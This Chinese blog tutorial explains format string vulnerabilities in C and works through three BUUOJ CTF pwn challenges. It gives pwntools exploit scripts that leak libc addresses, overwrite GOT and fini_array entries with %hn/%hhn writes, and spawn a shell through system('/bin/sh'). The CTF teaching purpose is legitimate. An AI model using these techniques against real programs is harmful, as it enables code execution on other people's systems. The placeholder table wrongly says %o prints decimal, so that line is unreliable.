格式化字符串漏洞原理及其利用（附带pwn例题讲解）

最新推荐文章于 2024-08-28 14:56:41 发布

Shad0w-2023

最新推荐文章于 2024-08-28 14:56:41 发布

阅读量5.3k

点赞数 35

分类专栏： pwn从0到1 文章标签：安全网络安全 windows c语言算法

本文链接：https://blog.csdn.net/qq_73985089/article/details/137199087

版权

pwn从0到1 专栏收录该内容

5 篇文章 3 订阅

订阅专栏

写在前面：

本篇博客为本人原创，但非首发，首发在先知社区
原文链接：

https://xz.aliyun.com/t/14253?time__1311=mqmx9QiQi%3D0%3DDQoDsNOfptD8nDCFdNNK4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F74789

各位师傅有兴趣的话也可以去先知社区个人主页逛逛(个人昵称：Shad0w_2023)。

写在前面：

格式化字符串漏洞在实际利用过程中现在几乎挖掘不到了，但是在CTF的pwn题中，由于其可以结合其他溢出漏洞利用，还是经常会遇到格式化字符串漏洞的。

一.什么是格式化字符串？

在我们初识C语言的时候，我们经常会使用到printf这之类的函数，printf函数的第一个参数就是一个格式化字符串，就是程序员可以使用占位符，指定格式，这些占位符用来替代后面的变量或者是数据。简单总结就是说，我们可以在一个字符串中，执行某个位置应该输出怎么样的数据，使用占位符代替，在输出的时候函数会自动按照我们指定的格式，寻找参数并以我们预想的形式输出。

格式化字符串的工作原理

那么在格式化字符串中，我们只是指定了输出格式，那函数会怎样确定用来替代这个占位符的数据呢？那么我们就来看看格式化字符串的工作原理：
我们先来写一段这样的程序：

int main() {

	char a[] = "aaaa";
	char b[] = "bbbb";
	char c[] = "cccc";
	char d[] = "dddd";
	printf("%s  %s  %s  %s", a, b, c);

	return 0;
}

可以明显看到，在printf函数中，我们使用了四个占位符，但是我故意将第四个占位符没有填充，那么程序的执行结果会是怎样的呢？
我们来看看程序执行结果：
format string1

可以看到程序还是输出了四个结果，那么第四个结果是哪里来的？我们来通过动态调试来一探究竟：
format string2

这里我将要执行的函数就是printf函数，我们来看看堆栈：
format string3

我们从堆栈中可以明显地看到，我们传给printf函数的参数，第一个是格式化字符串，而格式化字符串中，我们使用的第一个占位符，将会被格式化字符串后面的第一个参数替换，第二个同理，以此类推，所以我们就知道，用来替换第四个占位符的就是相对于格式化字符串的第四个参数了。

C语言中格式化字符串常用占位符

了解了格式化字符串的工作原理，在利用格式化字符串漏洞之前，我们还需要对占位符有着深刻的理解，我们就来回顾一下C语言格式化字符串中常用的占位符：

占位符	含义
%d	以十进制形式输出整数
%u	以十进制形式输出无符号整数
%x	以十六进制形式输出整数（小写字母）
%X	以十六进制形式输出整数（大写字母）
%o	以十进制形式输出整数
%f	以浮点数形式输出实数
%e	以指数形式输出实数
%g	自动选择%f或者%e输出实数
%c	输出单个字符
%s	输出字符串
%p	输出指针的地址
%n	将已经输出的字符数写入参数

以上这些就是常用的占位符了，而在我们格式化字符串漏洞利用中，常用%p来泄露地址，使用%n来实现向指定地址写入数据（4字节），我们还通常会使用%hn（2字节），%hhn（1字节），%lln（8字节）进行写入。

补充知识

而在我们格式化字符串漏洞的利用中，我们通常还会用到正常开发很少用到的字符：数字+$的形式。
还记得我们前面写的那个程序吗？在那个格式化字符串中，我们没有用到数字+$，在这时候，程序遇到一个占位符，就按顺序向后寻找参数，但是我们可以使用数字+$的形式，直接指定参数相对于格式化字符串的偏移，我们来看看这个程序：

int main() {

	char a[] = "aaaa";
	char b[] = "bbbb";
	char c[] = "cccc";
	char d[] = "dddd";
	printf("%3$s  %2$s  %1$s", a, b, c);

	return 0;
}

这样，当程序看到%3$s的时候，就不是直接找相对于格式化字符串的第一个参数了，而是去找相对于格式化字符串的第三个参数，这样的话，就会输出cccc，而整个程序输出cccc bbbb aaaa。

漏洞原理：

有了这些前置知识，我们就可以来了解格式化字符串漏洞的产生原理了。
我们来想想一个场景：作为程序员，我们要实现一个功能：我们需要实现一个登录功能，需要用户输入自己的用户名，然后输出Hello + 用户名，然后进行下一步操作，那么，有的程序员就会写出这样的代码：

int main() {

	char UserName[256]{ 0 };

	scanf("%s", UserName);
	printf(UserName);

	return 0;
}

那作为正常人来说，就会输入自己的用户名了，但是，如果别有用心的人呢？
大家试想一下，如果我们输入了%s，这时候，作为格式化字符串，它会输出哪里的内容？通过前面的学习我们可以知道会输出一个栈上保存的数据（相对于格式化字符串偏移为1）

任意地址泄露：
这时候，如果我们配合%数字$s，这时候是不是就会造成任意地址泄露？
任意地址写：
如果我们输入%数字c%数字$n呢？这时候我们就可以实现任意地址写了。

由此可见，格式化字符串漏洞的危害还是巨大的，相对于栈溢出和堆溢出，利用起来更加方便。

漏洞利用：

格式化字符串的漏洞利用，通常可以分为两种情况，这两种情况取决于我们输入的格式化字符串保存在哪里（栈上和非栈上）。

1.栈上的格式化字符串漏洞利用

其中利用较为简单的就是栈上的格式化字符串漏洞，因为格式化字符串保存在栈上，我们就可以很容易地去修改栈上的数据，完成劫持程序流程。

1.wdb_2018_2nd_easyfmt

题目来源：https://buuoj.cn/challenges#wdb_2018_2nd_easyfmt
附件链接：https://files.buuoj.cn/files/1750417bb3fc89d74ba81c7a08a8679c/wdb_2018_2nd_easyfmt

拿到题目，我们首先看到题目名称，首先确定这应该是格式化字符串漏洞的利用
然后我们来检查一下程序：

32位程序，got表可写，没有栈溢出保护，有数据执行保护，没有PIE。
了解了基本情况之后，我们就来看看程序的基本逻辑
使用IDA生成伪代码：

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+8h] [ebp-70h]
  unsigned int v4; // [esp+6Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Do you know repeater?");
  while ( 1 )
  {
    read(0, &buf, 0x64u);
    printf(&buf);
    putchar(10);
  }
}

可以看到这里就是我们上面将漏洞原理的时候提出的漏洞，而且可以无限次利用，非常简单，那么我们该如何利用？
既然got表可以写，那我们就可以将printf函数的地址复写位system的地址，然后使用read函数传入/bin/sh，这样，由于我们将printf函数的地址改写为了system函数地址，那么执行printf(“/bin/sh”)的时候，实际上执行的就是system("/bin/sh’)了。
但是我们不知道libc的基地址，那么这时候就需要我们首先泄露libc基地址，然后完成上述操作了。
这里给出exp：

from pwn import *
from LibcSearcher import *

#context(os = 'linux',arch = 'i386',log_level = 'debug')
#io = process("./wdb_2018_2nd_easyfmt")
io = remote("node5.buuoj.cn",26953)
elf = ELF("./wdb_2018_2nd_easyfmt")
libc = ELF("/home/shad0w/桌面/pwn/libc/libc-2.23-32.so")

puts_got = elf.got['puts']
printf_got = elf.got['printf']

payload1 = p32(puts_got) + b'%6$s'
io.recvuntil("Do you know repeater?")

io.sendline(payload1)
puts_addr = u32(io.recvuntil("\xf7")[-4:])
print("puts_addr:" + str(hex(puts_addr)))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']

system_low = system_addr & 0xffff
system_high = (system_addr >> 16) & 0xffff
print("system_low:" + str(hex(system_low)))
print("system_high:" + str(hex(system_high)))
payload = p32(printf_got) + p32(printf_got + 2)
payload += b'%' + bytes(str(system_low - 8), "utf-8")
payload += b'c%6$hn'
payload += b'%' + bytes(str(system_high-system_low), "utf-8")
payload += b'c%7$hn'

io.send(payload)

payload = b'/bin/sh'
io.sendline(payload)

io.interactive()

我们来看看漏洞利用的部分，这里是使用了%hn的方式，也就是一次写入两个字节，写入了两次，一次写高两字节，一次写低两字节，那么前面的%多少c我们怎么确定呢？由于我们前面输入了system地址和system+2的地址，所以在第一次写入的时候要减去8，这样才是正确的system低两字节。

2.ciscn_2019_sw_1

题目来源：https://buuoj.cn/challenges#ciscn_2019_sw_9
附件链接：https://files.buuoj.cn/files/9974d878fc44f97d36a5ab42729d9b42/ciscn_2019_sw_1

拿到题目，首先检查基本信息：

32位应用程序，没有栈溢出保护，没有PIE，只有数据执行保护。
知道了基本信息，就去看看程序逻辑：

这个程序逻辑看起来也是非常简单，但是这里好像只能使用一次。
而且发现了一个调用了system的函数，这就意味着我们不用泄露libc基址了。

那么我们该如何利用该漏洞？
这时候就要考察大家对底层的了解了，程序在调用main函数之前，实际上会调用fini_array里面的函数，直到函数调用完成才会执行main函数，在main函数调用完后，还会调用fini_array里面的函数，这里给出一张流程图：
Linux程序执行流程
我们在调试程序的时候，不难发现，main函数也是有返回地址的，这个返回地址在__linc_sttart_main，也就是说，我们的main函数也是被其他函数调用过来的。
从图中也可以看到，在main函数被调用之前，还会调用__libc_csu_init，init_array中的函数，在main函数调用完成后，会调用fini_array数组中的每一个函数指针。
我们知道了在mian函数执行完毕之后还会执行其他代码，那我们在这些代码中可不可以做点手脚，让其又返回main函数？这样我们就有更多的利用机会了。
这里给出一种攻击方法：既然main函数完成之后会调用fini_array数组中的函数指针，那我们可以将这里的函数指针改为main函数，这样就会又返回main函数执行第二次了。
这里既然我们有了利用思路，那就非常容易了，我们在第一次执行main函数的时候，将fini_array[0]修改为main函数地址，并且将printf函数覆写为system函数的地址，第二次执行main函数的时候，直接输入/bin/sh就可以成功利用漏洞。

具体利用过程：

首先，我们通过gdb调试得到格式化字符串距离printf参数的距离：

可以看到，我们输入的字符串保存地址距离printf格式化字符串距离为4。
然后我们找到printf的got表地址和fini_array数组的地址，找到system函数地址（这个过程可以自己手动找，也可以使用pwntools写脚本找到）
我们在第一次进入main函数的时候，利用格式化字符串漏洞，将fini_array[0]改写为main地址，将printf函数got表项地址写为system的plt地址，注意这里一定是plt表中的地址，因为system函数没有被使用过，即还没有进行绑定：

payload = p32(fini_array_addr + 2) + p32(printf_got + 2)
payload += p32(printf_got) + p32(fini_array_addr)
payload += b'%' + bytes(str(main_high - 0x10),"utf_8") + b'c%4$hn'
payload += b'%5$hn'
payload += b'%' + bytes(str(system_low - main_high),"utf-8") + b'c%6$hn'
payload += b'%' + bytes(str(main_low - system_low),"utf-8") + b'c%7$hn'
payload += b'\x00'

io.sendlineafter("Welcome to my ctf! What's your name?",payload)

这时候，程序执行完main函数，进入fini_array寻找函数指针的时候，就会再次执行main函数

在第二次进入main函数的时候，我们输入‘/bin/sh’，然后程序就会执行system（”/bin/sh“）。

这里给出完成的exp：

from pwn import *

context(os = 'linux',arch = 'i386',log_level = 'debug')
#io = process("./ciscn_2019_sw_1")
io = remote("node5.buuoj.cn",28467)
elf = ELF("./ciscn_2019_sw_1")

printf_got = elf.got['printf']
system_plt = elf.plt['system']
fini_array_addr  = 0x0804979C
main_addr = 0x08048534

system_high = (system_plt >> 16) & 0xffff
system_low = system_plt & 0xffff
main_high = (main_addr >> 16) & 0xffff
main_low = main_addr & 0xffff

print("system_high:" + str(hex(system_high)))
print("system_low:" + str(hex(system_low)))
print("main_high:" + hex(main_high))
print("main_low:" + hex(main_low))

'''
system_high:0x804
system_low:0x83d0
main_high:0x804
main_low:0x8534
'''

payload = p32(fini_array_addr + 2) + p32(printf_got + 2)
payload += p32(printf_got) + p32(fini_array_addr)
payload += b'%' + bytes(str(main_high - 0x10),"utf_8") + b'c%4$hn'
payload += b'%5$hn'
payload += b'%' + bytes(str(system_low - main_high),"utf-8") + b'c%6$hn'
payload += b'%' + bytes(str(main_low - system_low),"utf-8") + b'c%7$hn'
payload += b'\x00'

io.sendlineafter("Welcome to my ctf! What's your name?",payload)

payload1 = b'/bin/sh'
io.sendlineafter("Welcome to my ctf! What's your name?",payload1)

io.interactive()

2.非栈上的格式化字符串漏洞利用

为什么叫做非栈上的格式化字符串，是因为我们输入的buffer，不存在栈上，回想一下我们的栈上的格式化字符串漏洞利用，我们将我们要改写的地址写到栈上，这样格式化字符串就可以直接找到这个地址，从而进行修改，但是我们的输入buffer不存在于栈上，这时候我们输入的地址，格式化字符串就无法找到这个地址了，我们就很难做到任意地址写了，那么非栈上的格式化字符串漏洞我们该如何利用呢？
其实我们可以通过漏洞，修改函数返回地址，然后精心构造ROP链，就可以完成攻击，这里不再介绍，我们这里来介绍两种复写函数地址的方法，也是大家在网上通常看到的方法。

<1>四马分肥

由于我们通常是利用格式化字符串漏洞将printf_got表地址写为system函数地址，那我这里就以这两个地址为例。
我们要将printf_got的地址放到栈上，但是这时候我们的格式化字符串不存在于栈上，那我们的地址就不能通过我们写的时候传进去，我们需要利用漏洞，将栈上原来存在的地址，修改为printf_got地址，这样我们再次利用格式化字符串漏洞，就可以将printf_got修改为system函数的地址。那这里为什么又要叫四马分肥呢？因为我们printf_got地址通常情况下比较大，我们分别在栈上找四个地址，然后将其修改为printf_got，printf_got+2，printf_got+4，printf_got+6，然后我们每次只写入两个字节，这样我们就可以正常覆写数据了。
在这里在栈上寻找怎样的地址修改为printf_got的地址呢？其实这里也是有技巧的，我们通常会找那些与printf_got高位相同的地址。

<2>诸葛连弩

我们还是以将printf_got表地址改写为system函数地址为例：
上面介绍的四马分肥的方法，需要我们在栈上找出四个地址分别写入printf_got表的地址，然后再一个一个去改，而诸葛连弩这个方法使用了更巧妙的方法，我们就来看看这个方法。
我们在程序的栈上很容易找到这样的一段：
诸葛连弩_1

这样我们就可以使用诸葛连弩了，我们使用格式化字符串漏洞，将offset_2改为offset_3，这样的话我们就可以实现一段四个链的地址了，像这样：
诸葛连弩_2
我们以64位应用程序为例，我们就可以使用格式化字符串漏洞，使用sssssssssssssss% 9$n，将offset_3处修改为printf_got地址，然后我们使用%12$n，也就是使用offset_1处，将printf_got地址修改为system函数的地址。
总结一下，这里为什么叫诸葛连弩呢？就是因为我们构造了一支“箭”，然后我们通过多次在这支箭上发力，最后形成任意地址写，所以就想诸葛连弩一样。

非栈上格式化字符串漏洞例题讲解

题目来源：https://buuoj.cn/challenges#SWPUCTF_2019_login
附件链接：https://files.buuoj.cn/files/03b0cf41e8c34d9b029251d64df4bf92/SWPUCTF_2019_login

拿到题目，还是常规做法，先检查一下基本信息：

32位应用程序，开了个数据执行保护，got表可写
然后我们来看看程序基本逻辑
main函数：

int __cdecl main()
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Please input your name: ");
  read(0, &fmt, 0xCu);
  puts("Base maybe not easy......");
  return sub_80485E3();
}

可以看到这里让我们输入，然后调用了sub_80485E3函数。
sub_80485E3函数：

int sub_80485E3()
{
  printf("hello, %s", &fmt);
  return sub_804854B();
}

这个函数printf出我们在main函数中输入的内容，并且注意到我们输入的buffer不在栈上。然后调用sub_804854B函数。
sub_804854B函数：

int sub_804854B()
{
  puts("Please input your password: ");
  while ( 1 )
  {
    s1[read(0, s1, 0x32u)] = 0;
    if ( !strncmp(s1, "wllmmllw", 8u) )
      break;
    printf("This is the wrong password: ");
    printf(s1);
    puts("Try again!");
  }
  return puts("Login successfully! Have fun!");
}

该函数通过一个while循环，让我们read到s1，然后与wllmmllw对比，如果比对不成功，就会调用printf输出我们的参数。

利用思路
我们先使用四马分肥的方法，在栈上寻找与printf_got表低一字节或者两字节不同的地址，然后将其分别改为printf_got,printf_got+2然后将printf_got改为system函数地址，由于我们不知道system函数地址，所以我们第一次还需要泄露libc基址。

#泄漏libc基址
payload = b'%43$p'
io.sendline(payload)
io.recvuntil("This is the wrong password: 0x")
libc_start_main = int(io.recv(8),16) - 147
#libc = LibcSearcher("__libc_start_main",libc_start_main)
print("libc_start_main:" + hex(libc_start_main))
print(hex(libc.symbols['__libc_start_main']))
libc_base = libc_start_main - libc.symbols['__libc_start_main']
print("libc_base:",hex(libc_base))

这一很多时候偏移不一样是因为libc版本不同，大家自行根据自己的libc版本进行调试。

接下来就要利用格式化字符串漏洞，将printf_got表项地址改写为system函数的地址，我偶们回想一下四马分肥的过程，我们需要至少两个，与printf_got表项很相似的地址，这样我们利用起来才方便，但是这里没有相似的地址，观察一下栈中，有一段这样的地址链：0xffffd778 -> 0xffffd788 -> 0xffffd798 …，而且在这条链的第二个节点上我们也可以在栈中控制，诸葛连弩的基本条件已经满足了，我们这里就来演示一下诸葛连弩：

我们可以看到，offset_0 = 0xffffd778，offset_1 = 0xffffd788，offset_2 = 0xffffd798
这里给出这样链表：
0xffffd778 -> 0xffffd788 -> 0xffffd798（分别为6$,10$,14$)
那么我们就可以使用6$构造格式化字符串，修改0xffffde788处保存的值，分别修改为0xffffd798，0xffffd798+1，0xffffd798+2，0xffffd798+3，这样我们就可以一个字节一个字节修改0xffffd798处保存的是，将其修改为printf_got表项的值，然后我们使用14$，就可以修改printf_got表项的值了。
修改offset_3为printf_got表项的部分：

#printf_got:0x804b014
num = printf_got & 0xff
print("--------------send bytes:" + hex(num))
payload_3 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_3)

addr = (stack_addr & 0xff) + 1
payload_4 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_4)
num = (printf_got >> 8) & 0xff
print("--------------send bytes:" + hex(num))
payload_5 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_5)

addr = (stack_addr & 0xff) + 2
payload_6 = b'%' + bytes(str(addr),"utf_8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_6)
num = (printf_got >> 16) & 0xff
print("--------------send bytes:" + hex(num))
payload_7 = b'%' + bytes(str(num),"utf_8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_7)

addr = (stack_addr & 0xff) +3
payload_8 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_8)
num = (printf_got >> 24) & 0xff
print("--------------send bytes:" + hex(num))
payload_9 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_9)

再来看看修改后的效果：
SWPUCTF_2019_login_ 3
这时候，我们就可以直接使用14$去修改printf_got表项的地址了，但是注意这里要一次性修改掉，不然第二次调用printf函数的时候，由于我们已经修改了部分字节，导致程序找不到printf函数，然后发现，这时候我们要写很多字节，这太大了，那我们只能再重复上述操作，将15$写为printf_got表项地址+1或者+2，方便我们后续修改：

addr = (stack_addr & 0xff) + 4
payload_10 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_10)
num = (printf_got & 0xff) + 1
print("--------------send bytes:" + hex(num))
payload_11 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_11)
pause()

addr = (stack_addr & 0xff) + 5
payload_12 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_12)
num = (printf_got >> 8) & 0xff
print("--------------send bytes:" + hex(num))
payload_13 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_13)
pause()

addr = (stack_addr & 0xff) + 6
payload_14 = b'%' + bytes(str(addr),"utf_8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_14)
num = (printf_got >> 16) & 0xff
print("--------------send bytes:" + hex(num))
payload_15 = b'%' + bytes(str(num),"utf_8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_15)
pause()

addr = (stack_addr & 0xff) +7
payload_16 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_16)
num = (printf_got >> 24) & 0xff
print("--------------send bytes:" + hex(num))
payload_17 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_17)

我们来看看修改后的效果：
SWPUCTF_2019_login_ 4
好，现在我们就可以一次性将printf_got表项地址修改为system函数地址了：

print("system_addr:" + hex(system_addr))
system_low_bytes = system_addr & 0xff
system_high_word = (system_addr >> 8) & 0xffff
print("system_low_bytes" + hex(system_low_bytes))
print("system_high_word" + hex(system_high_word))
payload = b'%' + bytes(str(system_low_bytes),"utf-8") + b'c%14$hhn'
payload += b'%' + bytes(str(system_high_word - system_low_bytes),"utf-8") + b'c%15$hn'
io.sendlineafter("Try again!\n",payload)